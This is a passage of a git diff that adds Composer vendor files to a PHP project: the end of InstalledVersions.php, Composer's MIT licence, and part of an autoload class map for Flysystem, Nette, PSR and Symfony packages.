'pretty_version' => 'v1.0.14', + 'version' => '1.0.14.0', + 'aliases' => + array ( + ), + 'reference' => 'edce0ae2c9551ab65f9e94a222604b0dead3576d', + ), + ), +); + + + + + + + +public static function getInstalledPackages() +{ +return array_keys(self::$installed['versions']); +} + + + + + + + + + +public static function isInstalled($packageName) +{ +return isset(self::$installed['versions'][$packageName]); +} + + + + + + + + + + + + + + +public static function satisfies(VersionParser $parser, $packageName, $constraint) +{ +$constraint = $parser->parseConstraints($constraint); +$provided = $parser->parseConstraints(self::getVersionRanges($packageName)); + +return $provided->matches($constraint); +} + + + + + + + + + + +public static function getVersionRanges($packageName) +{ +if (!isset(self::$installed['versions'][$packageName])) { +throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); +} + +$ranges = array(); +if (isset(self::$installed['versions'][$packageName]['pretty_version'])) { +$ranges[] = self::$installed['versions'][$packageName]['pretty_version']; +} +if (array_key_exists('aliases', self::$installed['versions'][$packageName])) { +$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['aliases']); +} +if (array_key_exists('replaced', self::$installed['versions'][$packageName])) { +$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['replaced']); +} +if (array_key_exists('provided', self::$installed['versions'][$packageName])) { +$ranges = array_merge($ranges, self::$installed['versions'][$packageName]['provided']); +} + +return implode(' || ', $ranges); +} + + + + + +public static function getVersion($packageName) +{ +if (!isset(self::$installed['versions'][$packageName])) { +throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); +} + +if (!isset(self::$installed['versions'][$packageName]['version'])) { +return null; +} + +return self::$installed['versions'][$packageName]['version']; +} + + + + + +public static function getPrettyVersion($packageName) +{ +if (!isset(self::$installed['versions'][$packageName])) { +throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); +} + +if (!isset(self::$installed['versions'][$packageName]['pretty_version'])) { +return null; +} + +return self::$installed['versions'][$packageName]['pretty_version']; +} + + + + + +public static function getReference($packageName) +{ +if (!isset(self::$installed['versions'][$packageName])) { +throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); +} + +if (!isset(self::$installed['versions'][$packageName]['reference'])) { +return null; +} + +return self::$installed['versions'][$packageName]['reference']; +} + + + + + +public static function getRootPackage() +{ +return self::$installed['root']; +} + + + + + + + +public static function getRawData() +{ +return self::$installed; +} + + + + + + + + + + + + + + + + + + + +public static function reload($data) +{ +self::$installed = $data; +} +} diff --git a/vendor/composer/LICENSE b/vendor/composer/LICENSE new file mode 100644 index 0000000..f27399a --- /dev/null +++ b/vendor/composer/LICENSE @@ -0,0 +1,21 @@ + +Copyright (c) Nils Adermann, Jordi Boggiano + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + diff --git a/vendor/composer/autoload_classmap.php b/vendor/composer/autoload_classmap.php new file mode 100644 index 0000000..348f433 --- /dev/null +++ b/vendor/composer/autoload_classmap.php @@ -0,0 +1,642 @@ + $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', + 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', + 'League\\Flysystem\\AdapterInterface' => $vendorDir . '/league/flysystem/src/AdapterInterface.php', + 'League\\Flysystem\\Adapter\\AbstractAdapter' => $vendorDir . '/league/flysystem/src/Adapter/AbstractAdapter.php', + 'League\\Flysystem\\Adapter\\AbstractFtpAdapter' => $vendorDir . '/league/flysystem/src/Adapter/AbstractFtpAdapter.php', + 'League\\Flysystem\\Adapter\\CanOverwriteFiles' => $vendorDir . '/league/flysystem/src/Adapter/CanOverwriteFiles.php', + 'League\\Flysystem\\Adapter\\Ftp' => $vendorDir . '/league/flysystem/src/Adapter/Ftp.php', + 'League\\Flysystem\\Adapter\\Ftpd' => $vendorDir . '/league/flysystem/src/Adapter/Ftpd.php', + 'League\\Flysystem\\Adapter\\Local' => $vendorDir . '/league/flysystem/src/Adapter/Local.php', + 'League\\Flysystem\\Adapter\\NullAdapter' => $vendorDir . '/league/flysystem/src/Adapter/NullAdapter.php', + 'League\\Flysystem\\Adapter\\Polyfill\\NotSupportingVisibilityTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedCopyTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedCopyTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedReadingTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedWritingTrait' => $vendorDir . '/league/flysystem/src/Adapter/Polyfill/StreamedWritingTrait.php', + 'League\\Flysystem\\Adapter\\SynologyFtp' => $vendorDir . '/league/flysystem/src/Adapter/SynologyFtp.php', + 'League\\Flysystem\\Cached\\CacheInterface' => $vendorDir . '/league/flysystem-cached-adapter/src/CacheInterface.php', + 'League\\Flysystem\\Cached\\CachedAdapter' => $vendorDir . '/league/flysystem-cached-adapter/src/CachedAdapter.php', + 'League\\Flysystem\\Cached\\Storage\\AbstractCache' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/AbstractCache.php', + 'League\\Flysystem\\Cached\\Storage\\Adapter' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Adapter.php', + 'League\\Flysystem\\Cached\\Storage\\Memcached' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Memcached.php', + 'League\\Flysystem\\Cached\\Storage\\Memory' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Memory.php', + 'League\\Flysystem\\Cached\\Storage\\Noop' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Noop.php', + 'League\\Flysystem\\Cached\\Storage\\PhpRedis' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/PhpRedis.php', + 'League\\Flysystem\\Cached\\Storage\\Predis' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Predis.php', + 'League\\Flysystem\\Cached\\Storage\\Psr6Cache' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php', + 'League\\Flysystem\\Cached\\Storage\\Stash' => $vendorDir . '/league/flysystem-cached-adapter/src/Storage/Stash.php', + 'League\\Flysystem\\Config' => $vendorDir . '/league/flysystem/src/Config.php', + 'League\\Flysystem\\ConfigAwareTrait' => $vendorDir . '/league/flysystem/src/ConfigAwareTrait.php', + 'League\\Flysystem\\ConnectionErrorException' => $vendorDir . '/league/flysystem/src/ConnectionErrorException.php', + 'League\\Flysystem\\ConnectionRuntimeException' => $vendorDir . '/league/flysystem/src/ConnectionRuntimeException.php', + 'League\\Flysystem\\Directory' => $vendorDir . '/league/flysystem/src/Directory.php', + 'League\\Flysystem\\Exception' => $vendorDir . '/league/flysystem/src/Exception.php', + 'League\\Flysystem\\File' => $vendorDir . '/league/flysystem/src/File.php', + 'League\\Flysystem\\FileExistsException' => $vendorDir . '/league/flysystem/src/FileExistsException.php', + 'League\\Flysystem\\FileNotFoundException' => $vendorDir . '/league/flysystem/src/FileNotFoundException.php', + 'League\\Flysystem\\Filesystem' => $vendorDir . '/league/flysystem/src/Filesystem.php', + 'League\\Flysystem\\FilesystemException' => $vendorDir . '/league/flysystem/src/FilesystemException.php', + 'League\\Flysystem\\FilesystemInterface' => $vendorDir . '/league/flysystem/src/FilesystemInterface.php', + 'League\\Flysystem\\FilesystemNotFoundException' => $vendorDir . '/league/flysystem/src/FilesystemNotFoundException.php', + 'League\\Flysystem\\Handler' => $vendorDir . '/league/flysystem/src/Handler.php', + 'League\\Flysystem\\InvalidRootException' => $vendorDir . '/league/flysystem/src/InvalidRootException.php', + 'League\\Flysystem\\MountManager' => $vendorDir . '/league/flysystem/src/MountManager.php', + 'League\\Flysystem\\NotSupportedException' => $vendorDir . '/league/flysystem/src/NotSupportedException.php', + 'League\\Flysystem\\PluginInterface' => $vendorDir . '/league/flysystem/src/PluginInterface.php', + 'League\\Flysystem\\Plugin\\AbstractPlugin' => $vendorDir . '/league/flysystem/src/Plugin/AbstractPlugin.php', + 'League\\Flysystem\\Plugin\\EmptyDir' => $vendorDir . '/league/flysystem/src/Plugin/EmptyDir.php', + 'League\\Flysystem\\Plugin\\ForcedCopy' => $vendorDir . '/league/flysystem/src/Plugin/ForcedCopy.php', + 'League\\Flysystem\\Plugin\\ForcedRename' => $vendorDir . '/league/flysystem/src/Plugin/ForcedRename.php', + 'League\\Flysystem\\Plugin\\GetWithMetadata' => $vendorDir . '/league/flysystem/src/Plugin/GetWithMetadata.php', + 'League\\Flysystem\\Plugin\\ListFiles' => $vendorDir . '/league/flysystem/src/Plugin/ListFiles.php', + 'League\\Flysystem\\Plugin\\ListPaths' => $vendorDir . '/league/flysystem/src/Plugin/ListPaths.php', + 'League\\Flysystem\\Plugin\\ListWith' => $vendorDir . '/league/flysystem/src/Plugin/ListWith.php', + 'League\\Flysystem\\Plugin\\PluggableTrait' => $vendorDir . '/league/flysystem/src/Plugin/PluggableTrait.php', + 'League\\Flysystem\\Plugin\\PluginNotFoundException' => $vendorDir . '/league/flysystem/src/Plugin/PluginNotFoundException.php', + 'League\\Flysystem\\ReadInterface' => $vendorDir . '/league/flysystem/src/ReadInterface.php', + 'League\\Flysystem\\RootViolationException' => $vendorDir . '/league/flysystem/src/RootViolationException.php', + 'League\\Flysystem\\SafeStorage' => $vendorDir . '/league/flysystem/src/SafeStorage.php', + 'League\\Flysystem\\UnreadableFileException' => $vendorDir . '/league/flysystem/src/UnreadableFileException.php', + 'League\\Flysystem\\Util' => $vendorDir . '/league/flysystem/src/Util.php', + 'League\\Flysystem\\Util\\ContentListingFormatter' => $vendorDir . '/league/flysystem/src/Util/ContentListingFormatter.php', + 'League\\Flysystem\\Util\\MimeType' => $vendorDir . '/league/flysystem/src/Util/MimeType.php', + 'League\\Flysystem\\Util\\StreamHasher' => $vendorDir . '/league/flysystem/src/Util/StreamHasher.php', + 'League\\MimeTypeDetection\\EmptyExtensionToMimeTypeMap' => $vendorDir . '/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\ExtensionMimeTypeDetector' => $vendorDir . '/league/mime-type-detection/src/ExtensionMimeTypeDetector.php', + 'League\\MimeTypeDetection\\ExtensionToMimeTypeMap' => $vendorDir . '/league/mime-type-detection/src/ExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\FinfoMimeTypeDetector' => $vendorDir . '/league/mime-type-detection/src/FinfoMimeTypeDetector.php', + 'League\\MimeTypeDetection\\GeneratedExtensionToMimeTypeMap' => $vendorDir . '/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\MimeTypeDetector' => $vendorDir . '/league/mime-type-detection/src/MimeTypeDetector.php', + 'Nette\\ArgumentOutOfRangeException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\DeprecatedException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\DirectoryNotFoundException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\FileNotFoundException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\IOException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\InvalidArgumentException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\InvalidStateException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Iterators\\CachingIterator' => $vendorDir . '/nette/utils/src/Iterators/CachingIterator.php', + 'Nette\\Iterators\\Mapper' => $vendorDir . '/nette/utils/src/Iterators/Mapper.php', + 'Nette\\Localization\\ITranslator' => $vendorDir . '/nette/utils/src/Utils/ITranslator.php', + 'Nette\\MemberAccessException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\NotImplementedException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\NotSupportedException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\OutOfRangeException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\PhpGenerator\\ClassType' => $vendorDir . '/nette/php-generator/src/PhpGenerator/ClassType.php', + 'Nette\\PhpGenerator\\Closure' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Closure.php', + 'Nette\\PhpGenerator\\Constant' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Constant.php', + 'Nette\\PhpGenerator\\Dumper' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Dumper.php', + 'Nette\\PhpGenerator\\Factory' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Factory.php', + 'Nette\\PhpGenerator\\GlobalFunction' => $vendorDir . '/nette/php-generator/src/PhpGenerator/GlobalFunction.php', + 'Nette\\PhpGenerator\\Helpers' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Helpers.php', + 'Nette\\PhpGenerator\\Literal' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Literal.php', + 'Nette\\PhpGenerator\\Method' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Method.php', + 'Nette\\PhpGenerator\\Parameter' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Parameter.php', + 'Nette\\PhpGenerator\\PhpFile' => $vendorDir . '/nette/php-generator/src/PhpGenerator/PhpFile.php', + 'Nette\\PhpGenerator\\PhpLiteral' => $vendorDir . '/nette/php-generator/src/PhpGenerator/PhpLiteral.php', + 'Nette\\PhpGenerator\\PhpNamespace' => $vendorDir . '/nette/php-generator/src/PhpGenerator/PhpNamespace.php', + 'Nette\\PhpGenerator\\Printer' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Printer.php', + 'Nette\\PhpGenerator\\Property' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Property.php', + 'Nette\\PhpGenerator\\PsrPrinter' => $vendorDir . '/nette/php-generator/src/PhpGenerator/PsrPrinter.php', + 'Nette\\PhpGenerator\\Traits\\CommentAware' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Traits/CommentAware.php', + 'Nette\\PhpGenerator\\Traits\\FunctionLike' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Traits/FunctionLike.php', + 'Nette\\PhpGenerator\\Traits\\NameAware' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Traits/NameAware.php', + 'Nette\\PhpGenerator\\Traits\\VisibilityAware' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Traits/VisibilityAware.php', + 'Nette\\PhpGenerator\\Type' => $vendorDir . '/nette/php-generator/src/PhpGenerator/Type.php', + 'Nette\\SmartObject' => $vendorDir . '/nette/utils/src/Utils/SmartObject.php', + 'Nette\\StaticClass' => $vendorDir . '/nette/utils/src/Utils/StaticClass.php', + 'Nette\\UnexpectedValueException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\ArrayHash' => $vendorDir . '/nette/utils/src/Utils/ArrayHash.php', + 'Nette\\Utils\\ArrayList' => $vendorDir . '/nette/utils/src/Utils/ArrayList.php', + 'Nette\\Utils\\Arrays' => $vendorDir . '/nette/utils/src/Utils/Arrays.php', + 'Nette\\Utils\\AssertionException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Callback' => $vendorDir . '/nette/utils/src/Utils/Callback.php', + 'Nette\\Utils\\DateTime' => $vendorDir . '/nette/utils/src/Utils/DateTime.php', + 'Nette\\Utils\\FileSystem' => $vendorDir . '/nette/utils/src/Utils/FileSystem.php', + 'Nette\\Utils\\Helpers' => $vendorDir . '/nette/utils/src/Utils/Helpers.php', + 'Nette\\Utils\\Html' => $vendorDir . '/nette/utils/src/Utils/Html.php', + 'Nette\\Utils\\IHtmlString' => $vendorDir . '/nette/utils/src/Utils/IHtmlString.php', + 'Nette\\Utils\\Image' => $vendorDir . '/nette/utils/src/Utils/Image.php', + 'Nette\\Utils\\ImageException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Json' => $vendorDir . '/nette/utils/src/Utils/Json.php', + 'Nette\\Utils\\JsonException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\ObjectHelpers' => $vendorDir . '/nette/utils/src/Utils/ObjectHelpers.php', + 'Nette\\Utils\\ObjectMixin' => $vendorDir . '/nette/utils/src/Utils/ObjectMixin.php', + 'Nette\\Utils\\Paginator' => $vendorDir . '/nette/utils/src/Utils/Paginator.php', + 'Nette\\Utils\\Random' => $vendorDir . '/nette/utils/src/Utils/Random.php', + 'Nette\\Utils\\Reflection' => $vendorDir . '/nette/utils/src/Utils/Reflection.php', + 'Nette\\Utils\\RegexpException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Strings' => $vendorDir . '/nette/utils/src/Utils/Strings.php', + 'Nette\\Utils\\UnknownImageFileException' => $vendorDir . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Utils\\Validators' => $vendorDir . '/nette/utils/src/Utils/Validators.php', + 'Psr\\Cache\\CacheException' => $vendorDir . '/psr/cache/src/CacheException.php', + 'Psr\\Cache\\CacheItemInterface' => $vendorDir . '/psr/cache/src/CacheItemInterface.php', + 'Psr\\Cache\\CacheItemPoolInterface' => $vendorDir . '/psr/cache/src/CacheItemPoolInterface.php', + 'Psr\\Cache\\InvalidArgumentException' => $vendorDir . '/psr/cache/src/InvalidArgumentException.php', + 'Psr\\Container\\ContainerExceptionInterface' => $vendorDir . '/psr/container/src/ContainerExceptionInterface.php', + 'Psr\\Container\\ContainerInterface' => $vendorDir . '/psr/container/src/ContainerInterface.php', + 'Psr\\Container\\NotFoundExceptionInterface' => $vendorDir . '/psr/container/src/NotFoundExceptionInterface.php', + 'Psr\\Log\\AbstractLogger' => $vendorDir . '/psr/log/Psr/Log/AbstractLogger.php', + 'Psr\\Log\\InvalidArgumentException' => $vendorDir . '/psr/log/Psr/Log/InvalidArgumentException.php', + 'Psr\\Log\\LogLevel' => $vendorDir . '/psr/log/Psr/Log/LogLevel.php', + 'Psr\\Log\\LoggerAwareInterface' => $vendorDir . '/psr/log/Psr/Log/LoggerAwareInterface.php', + 'Psr\\Log\\LoggerAwareTrait' => $vendorDir . '/psr/log/Psr/Log/LoggerAwareTrait.php', + 'Psr\\Log\\LoggerInterface' => $vendorDir . '/psr/log/Psr/Log/LoggerInterface.php', + 'Psr\\Log\\LoggerTrait' => $vendorDir . '/psr/log/Psr/Log/LoggerTrait.php', + 'Psr\\Log\\NullLogger' => $vendorDir . '/psr/log/Psr/Log/NullLogger.php', + 'Psr\\Log\\Test\\DummyTest' => $vendorDir . '/psr/log/Psr/Log/Test/DummyTest.php', + 'Psr\\Log\\Test\\LoggerInterfaceTest' => $vendorDir . '/psr/log/Psr/Log/Test/LoggerInterfaceTest.php', + 'Psr\\Log\\Test\\TestLogger' => $vendorDir . '/psr/log/Psr/Log/Test/TestLogger.php', + 'Psr\\SimpleCache\\CacheException' => $vendorDir . '/psr/simple-cache/src/CacheException.php', + 'Psr\\SimpleCache\\CacheInterface' => $vendorDir . '/psr/simple-cache/src/CacheInterface.php', + 'Psr\\SimpleCache\\InvalidArgumentException' => $vendorDir . '/psr/simple-cache/src/InvalidArgumentException.php', + 'Smf\\ConnectionPool\\BorrowConnectionTimeoutException' => $vendorDir . '/open-smf/connection-pool/src/BorrowConnectionTimeoutException.php', + 'Smf\\ConnectionPool\\ConnectionPool' => $vendorDir . '/open-smf/connection-pool/src/ConnectionPool.php', + 'Smf\\ConnectionPool\\ConnectionPoolInterface' => $vendorDir . '/open-smf/connection-pool/src/ConnectionPoolInterface.php', + 'Smf\\ConnectionPool\\ConnectionPoolTrait' => $vendorDir . '/open-smf/connection-pool/src/ConnectionPoolTrait.php', + 'Smf\\ConnectionPool\\Connectors\\ConnectorInterface' => $vendorDir . '/open-smf/connection-pool/src/Connectors/ConnectorInterface.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutineMySQLConnector' => $vendorDir . '/open-smf/connection-pool/src/Connectors/CoroutineMySQLConnector.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutinePostgreSQLConnector' => $vendorDir . '/open-smf/connection-pool/src/Connectors/CoroutinePostgreSQLConnector.php', + 'Smf\\ConnectionPool\\Connectors\\CoroutineRedisConnector' => $vendorDir . '/open-smf/connection-pool/src/Connectors/CoroutineRedisConnector.php', + 'Smf\\ConnectionPool\\Connectors\\PDOConnector' => $vendorDir . '/open-smf/connection-pool/src/Connectors/PDOConnector.php', + 'Smf\\ConnectionPool\\Connectors\\PhpRedisConnector' => $vendorDir . '/open-smf/connection-pool/src/Connectors/PhpRedisConnector.php', + 'Stringable' => $vendorDir . '/symfony/polyfill-php80/Resources/stubs/Stringable.php', + 'Symfony\\Component\\Finder\\Comparator\\Comparator' => $vendorDir . '/symfony/finder/Comparator/Comparator.php', + 'Symfony\\Component\\Finder\\Comparator\\DateComparator' => $vendorDir . '/symfony/finder/Comparator/DateComparator.php', + 'Symfony\\Component\\Finder\\Comparator\\NumberComparator' => $vendorDir . '/symfony/finder/Comparator/NumberComparator.php', + 'Symfony\\Component\\Finder\\Exception\\AccessDeniedException' => $vendorDir . '/symfony/finder/Exception/AccessDeniedException.php', + 'Symfony\\Component\\Finder\\Exception\\DirectoryNotFoundException' => $vendorDir . '/symfony/finder/Exception/DirectoryNotFoundException.php', + 'Symfony\\Component\\Finder\\Finder' => $vendorDir . '/symfony/finder/Finder.php', + 'Symfony\\Component\\Finder\\Gitignore' => $vendorDir . '/symfony/finder/Gitignore.php', + 'Symfony\\Component\\Finder\\Glob' => $vendorDir . '/symfony/finder/Glob.php', + 'Symfony\\Component\\Finder\\Iterator\\CustomFilterIterator' => $vendorDir . '/symfony/finder/Iterator/CustomFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\DateRangeFilterIterator' => $vendorDir . '/symfony/finder/Iterator/DateRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\DepthRangeFilterIterator' => $vendorDir . '/symfony/finder/Iterator/DepthRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\ExcludeDirectoryFilterIterator' => $vendorDir . '/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FileTypeFilterIterator' => $vendorDir . '/symfony/finder/Iterator/FileTypeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FilecontentFilterIterator' => $vendorDir . '/symfony/finder/Iterator/FilecontentFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\FilenameFilterIterator' => $vendorDir . '/symfony/finder/Iterator/FilenameFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\MultiplePcreFilterIterator' => $vendorDir . '/symfony/finder/Iterator/MultiplePcreFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\PathFilterIterator' => $vendorDir . '/symfony/finder/Iterator/PathFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\RecursiveDirectoryIterator' => $vendorDir . '/symfony/finder/Iterator/RecursiveDirectoryIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\SizeRangeFilterIterator' => $vendorDir . '/symfony/finder/Iterator/SizeRangeFilterIterator.php', + 'Symfony\\Component\\Finder\\Iterator\\SortableIterator' => $vendorDir . '/symfony/finder/Iterator/SortableIterator.php', + 'Symfony\\Component\\Finder\\SplFileInfo' => $vendorDir . '/symfony/finder/SplFileInfo.php', + 'Symfony\\Component\\VarDumper\\Caster\\AmqpCaster' => $vendorDir . '/symfony/var-dumper/Caster/AmqpCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ArgsStub' => $vendorDir . '/symfony/var-dumper/Caster/ArgsStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\Caster' => $vendorDir . '/symfony/var-dumper/Caster/Caster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ClassStub' => $vendorDir . '/symfony/var-dumper/Caster/ClassStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\ConstStub' => $vendorDir . '/symfony/var-dumper/Caster/ConstStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\CutArrayStub' => $vendorDir . '/symfony/var-dumper/Caster/CutArrayStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\CutStub' => $vendorDir . '/symfony/var-dumper/Caster/CutStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\DOMCaster' => $vendorDir . '/symfony/var-dumper/Caster/DOMCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DateCaster' => $vendorDir . '/symfony/var-dumper/Caster/DateCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DoctrineCaster' => $vendorDir . '/symfony/var-dumper/Caster/DoctrineCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DsCaster' => $vendorDir . '/symfony/var-dumper/Caster/DsCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\DsPairStub' => $vendorDir . '/symfony/var-dumper/Caster/DsPairStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\EnumStub' => $vendorDir . '/symfony/var-dumper/Caster/EnumStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\ExceptionCaster' => $vendorDir . '/symfony/var-dumper/Caster/ExceptionCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\FrameStub' => $vendorDir . '/symfony/var-dumper/Caster/FrameStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\GmpCaster' => $vendorDir . '/symfony/var-dumper/Caster/GmpCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ImagineCaster' => $vendorDir . '/symfony/var-dumper/Caster/ImagineCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ImgStub' => $vendorDir . '/symfony/var-dumper/Caster/ImgStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\IntlCaster' => $vendorDir . '/symfony/var-dumper/Caster/IntlCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\LinkStub' => $vendorDir . '/symfony/var-dumper/Caster/LinkStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\MemcachedCaster' => $vendorDir . '/symfony/var-dumper/Caster/MemcachedCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\PdoCaster' => $vendorDir . '/symfony/var-dumper/Caster/PdoCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\PgSqlCaster' => $vendorDir . '/symfony/var-dumper/Caster/PgSqlCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ProxyManagerCaster' => $vendorDir . '/symfony/var-dumper/Caster/ProxyManagerCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\RedisCaster' => $vendorDir . '/symfony/var-dumper/Caster/RedisCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ReflectionCaster' => $vendorDir . '/symfony/var-dumper/Caster/ReflectionCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\ResourceCaster' => $vendorDir . '/symfony/var-dumper/Caster/ResourceCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\SplCaster' => $vendorDir . '/symfony/var-dumper/Caster/SplCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\StubCaster' => $vendorDir . '/symfony/var-dumper/Caster/StubCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\SymfonyCaster' => $vendorDir . '/symfony/var-dumper/Caster/SymfonyCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\TraceStub' => $vendorDir . '/symfony/var-dumper/Caster/TraceStub.php', + 'Symfony\\Component\\VarDumper\\Caster\\UuidCaster' => $vendorDir . '/symfony/var-dumper/Caster/UuidCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\XmlReaderCaster' => $vendorDir . '/symfony/var-dumper/Caster/XmlReaderCaster.php', + 'Symfony\\Component\\VarDumper\\Caster\\XmlResourceCaster' => $vendorDir . '/symfony/var-dumper/Caster/XmlResourceCaster.php', + 'Symfony\\Component\\VarDumper\\Cloner\\AbstractCloner' => $vendorDir . '/symfony/var-dumper/Cloner/AbstractCloner.php', + 'Symfony\\Component\\VarDumper\\Cloner\\ClonerInterface' => $vendorDir . '/symfony/var-dumper/Cloner/ClonerInterface.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Cursor' => $vendorDir . '/symfony/var-dumper/Cloner/Cursor.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Data' => $vendorDir . '/symfony/var-dumper/Cloner/Data.php', + 'Symfony\\Component\\VarDumper\\Cloner\\DumperInterface' => $vendorDir . '/symfony/var-dumper/Cloner/DumperInterface.php', + 'Symfony\\Component\\VarDumper\\Cloner\\Stub' => $vendorDir . '/symfony/var-dumper/Cloner/Stub.php', + 'Symfony\\Component\\VarDumper\\Cloner\\VarCloner' => $vendorDir . 